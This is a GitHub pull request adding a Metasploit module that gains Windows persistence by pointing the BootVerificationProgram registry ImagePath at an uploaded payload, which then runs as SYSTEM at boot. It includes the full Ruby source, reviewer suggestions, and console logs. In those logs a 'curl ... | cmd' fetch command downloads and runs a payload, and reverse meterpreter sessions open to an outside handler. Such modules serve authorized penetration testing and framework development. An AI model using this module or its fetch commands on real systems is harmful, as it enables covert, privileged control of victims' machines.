Skip to content
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
## Vulnerable Application

This module establishes persistence by configuring the BootVerificationProgram
registry key. It uploads a payload executable and modifies the 'ImagePath'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
registry key. It uploads a payload executable and modifies the 'ImagePath'
registry key. It uploads a payload executable and modifies the `ImagePath`

value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram.
value under `HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram`.


The payload is executed by the Service Control Manager early in the boot cycle,
running with SYSTEM privileges before user logon.

Administrator or SYSTEM privileges are required to modify HKLM.

Verified on Windows 11 24H2+ (10.0 Build 26200).

## Verification Steps

1. Start `msfconsole`
2. Get an admin or SYSTEM meterpreter session
3. `use exploit/windows/persistence/boot_verification_program`
4. `set SESSION [SESSION]`
5. `run`
6. Reboot the target machine
7. You should get a new meterpreter session

## Options

### PAYLOAD_NAME

Name of the exe file to write. Defaults to a random 8 character string.

## Scenarios

### Windows 11 24H2+ (10.0 Build 26200)

Get a meterpreter session

```
msf > setg verbose true
verbose => true
msf > set lhost 1.1.1.1
lhost => 1.1.1.1
msf > use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > set fetch_command CURL
fetch_command => CURL
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > set fetch_pipe true
fetch_pipe => true
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
[*] Command served: curl -so %TEMP%\VXnishimdj.exe http://1.1.1.1:8080/nCaX6BQrNbeVWy71mJdg9w & start /B %TEMP%\VXnishimdj.exe

[*] Command to run on remote host: curl -s http://1.1.1.1:8080/tIBmwp8Cy7-zPaVZhD-bvw|cmd
[*] Payload Handler Started as Job 0
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /nCaX6BQrNbeVWy71mJdg9w
[*] Adding resource /tIBmwp8Cy7-zPaVZhD-bvw
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Client 2.2.2.2 requested /tIBmwp8Cy7-zPaVZhD-bvw
[*] Sending payload to 2.2.2.2 (curl/8.19.0)
[*] Client 2.2.2.2 requested /nCaX6BQrNbeVWy71mJdg9w
[*] Sending payload to 2.2.2.2 (curl/8.19.0)
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:50977) at 2026-06-07 23:20:59 +0200

msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : TESTWIN
OS : Windows 11 24H2+ (10.0 Build 26200).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: TESTWIN\user
```

Install Persistence

```
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/boot_verification_program
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/boot_verification_program) > set session 1
session => 1
msf exploit(windows/persistence/boot_verification_program) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/persistence/boot_verification_program) > set lport 4445
lport => 4445
msf exploit(windows/persistence/boot_verification_program) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/boot_verification_program) >
[*] Started reverse TCP handler on 1.1.1.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target appears vulnerable to Boot Verification Program persistence
[*] Writing payload to C:\Users\user\AppData\Local\Temp\eZjFmuNC.exe
[+] Payload EXE written to C:\Users\user\AppData\Local\Temp\eZjFmuNC.exe
[*] The BootVerificationProgram key was not found. Creating a new structure...
[+] Persistence installed
[*] Meterpreter-compatible Cleanup RC file: /home/user/.msf4/logs/persistence/TESTWIN_20260607.2146/TESTWIN_20260607.2146.rc
```

Show the persistence by rebooting the machine

```
msf exploit(windows/persistence/boot_verification_program) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died

[*] Sending stage (248902 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4445 -> 2.2.2.2:49672) at 2026-06-07 23:23:04 +0200
```
121 changes: 121 additions & 0 deletions modules/exploits/windows/persistence/boot_verification_program.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Services
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Local::Persistence

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Boot Verification Program Persistence',
'Description' => %q{
This module establishes persistence by configuring the BootVerificationProgram
registry key. It uploads a payload executable and modifies the 'ImagePath'
value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram.

The payload is executed by the Service Control Manager early in the boot cycle,
running with SYSTEM privileges before user logon.

Administrator or SYSTEM privileges are required to execute this persistence technique.
},
'License' => MSF_LICENSE,
'Author' => [
'Emanuele Cervelli',
],
'Platform' => [ 'win' ],
'Arch' => [ARCH_X64, ARCH_X86],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Automatic', {} ]
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION],

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],

['URL', 'https://www.cyberark.com/resources/ransomware-protection/persistence-techniques-that-persist']
],
'DefaultTarget' => 0,
# Date the technique was published on MITRE ATT&CK (T1547)
'DisclosureDate' => '2020-01-23',
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.'])
])
end

def check
return CheckCode::Unknown('Admin or SYSTEM privileges are required') unless is_system? || is_admin?

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return CheckCode::Unknown('Admin or SYSTEM privileges are required') unless is_system? || is_admin?
return CheckCode::Safe('Admin or SYSTEM privileges are required') unless is_system? || is_admin?

return CheckCode::Unknown("Target directory #{writable_dir} does not exist") unless directory?(writable_dir)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return CheckCode::Unknown("Target directory #{writable_dir} does not exist") unless directory?(writable_dir)
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)

this has been my boilerplate code block for checking


CheckCode::Appears('Target appears vulnerable to Boot Verification Program persistence')
end

def install_persistence
fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_system? || is_admin?

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_system? || is_admin?

Autocheck is enabled, so no need to recheck this


payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))

boilerplate, i like to add a little more randomness

payload_name += '.exe' unless payload_name.downcase.end_with?('.exe')
payload_exe = generate_payload_exe
payload_pathname = "#{writable_dir}\\#{payload_name}"

vprint_status("Writing payload to #{payload_pathname}")
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
print_good("Payload EXE written to #{payload_pathname}")

boot_reg_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\BootVerificationProgram'
had_preexisting_boot_key = false
old_image_path = nil

if registry_enumkeys(boot_reg_key).nil?
vprint_status('The BootVerificationProgram key was not found. Creating a new structure...')

unless registry_createkey(boot_reg_key)
rm_f(payload_pathname)
fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}")
end
else
vprint_good('The BootVerificationProgram key already exists. Skipping creation step.')
had_preexisting_boot_key = true
old_image_path = registry_getvaldata(boot_reg_key, 'ImagePath')
end
Comment on lines +86 to +97

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fail_with will kill the module off, so i think this can be simplified down to:

Suggested change
if registry_enumkeys(boot_reg_key).nil?
vprint_status('The BootVerificationProgram key was not found. Creating a new structure...')
unless registry_createkey(boot_reg_key)
rm_f(payload_pathname)
fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}")
end
else
vprint_good('The BootVerificationProgram key already exists. Skipping creation step.')
had_preexisting_boot_key = true
old_image_path = registry_getvaldata(boot_reg_key, 'ImagePath')
end
if registry_enumkeys(boot_reg_key).nil?
vprint_status('The BootVerificationProgram key was not found. Creating a new structure...')
unless registry_createkey(boot_reg_key)
rm_f(payload_pathname)
fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}")
end
end
vprint_good('The BootVerificationProgram key already exists. Skipping creation step.')
had_preexisting_boot_key = true
old_image_path = registry_getvaldata(boot_reg_key, 'ImagePath')

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

With this change, if the key doesn't initially exist, the module will create it and then it will set had_preexisting_boot_key = true. During cleanup, the module will then treat the key as if it was always there and leave it behind, rather than deleting the structure it created.


unless registry_setvaldata(boot_reg_key, 'ImagePath', payload_pathname, 'REG_EXPAND_SZ')
if old_image_path
registry_setvaldata(boot_reg_key, 'ImagePath', old_image_path, 'REG_EXPAND_SZ')
elsif had_preexisting_boot_key
registry_deleteval(boot_reg_key, 'ImagePath')
else
registry_deletekey(boot_reg_key)
end
rm_f(payload_pathname)
fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{boot_reg_key}\\ImagePath")
end

print_good('Persistence installed')

@clean_up_rc << "execute -f cmd.exe -a '/c del \"#{payload_pathname}\"' -i -H\n"
if had_preexisting_boot_key && old_image_path
@clean_up_rc << "reg setval -k '#{boot_reg_key}' -v 'ImagePath' -d '#{old_image_path}' -t 'REG_EXPAND_SZ'\n"
elsif had_preexisting_boot_key
@clean_up_rc << "reg deleteval -k '#{boot_reg_key}' -v 'ImagePath'\n"
else
@clean_up_rc << "reg deletekey -k '#{boot_reg_key}'\n"
end
end
end
Loading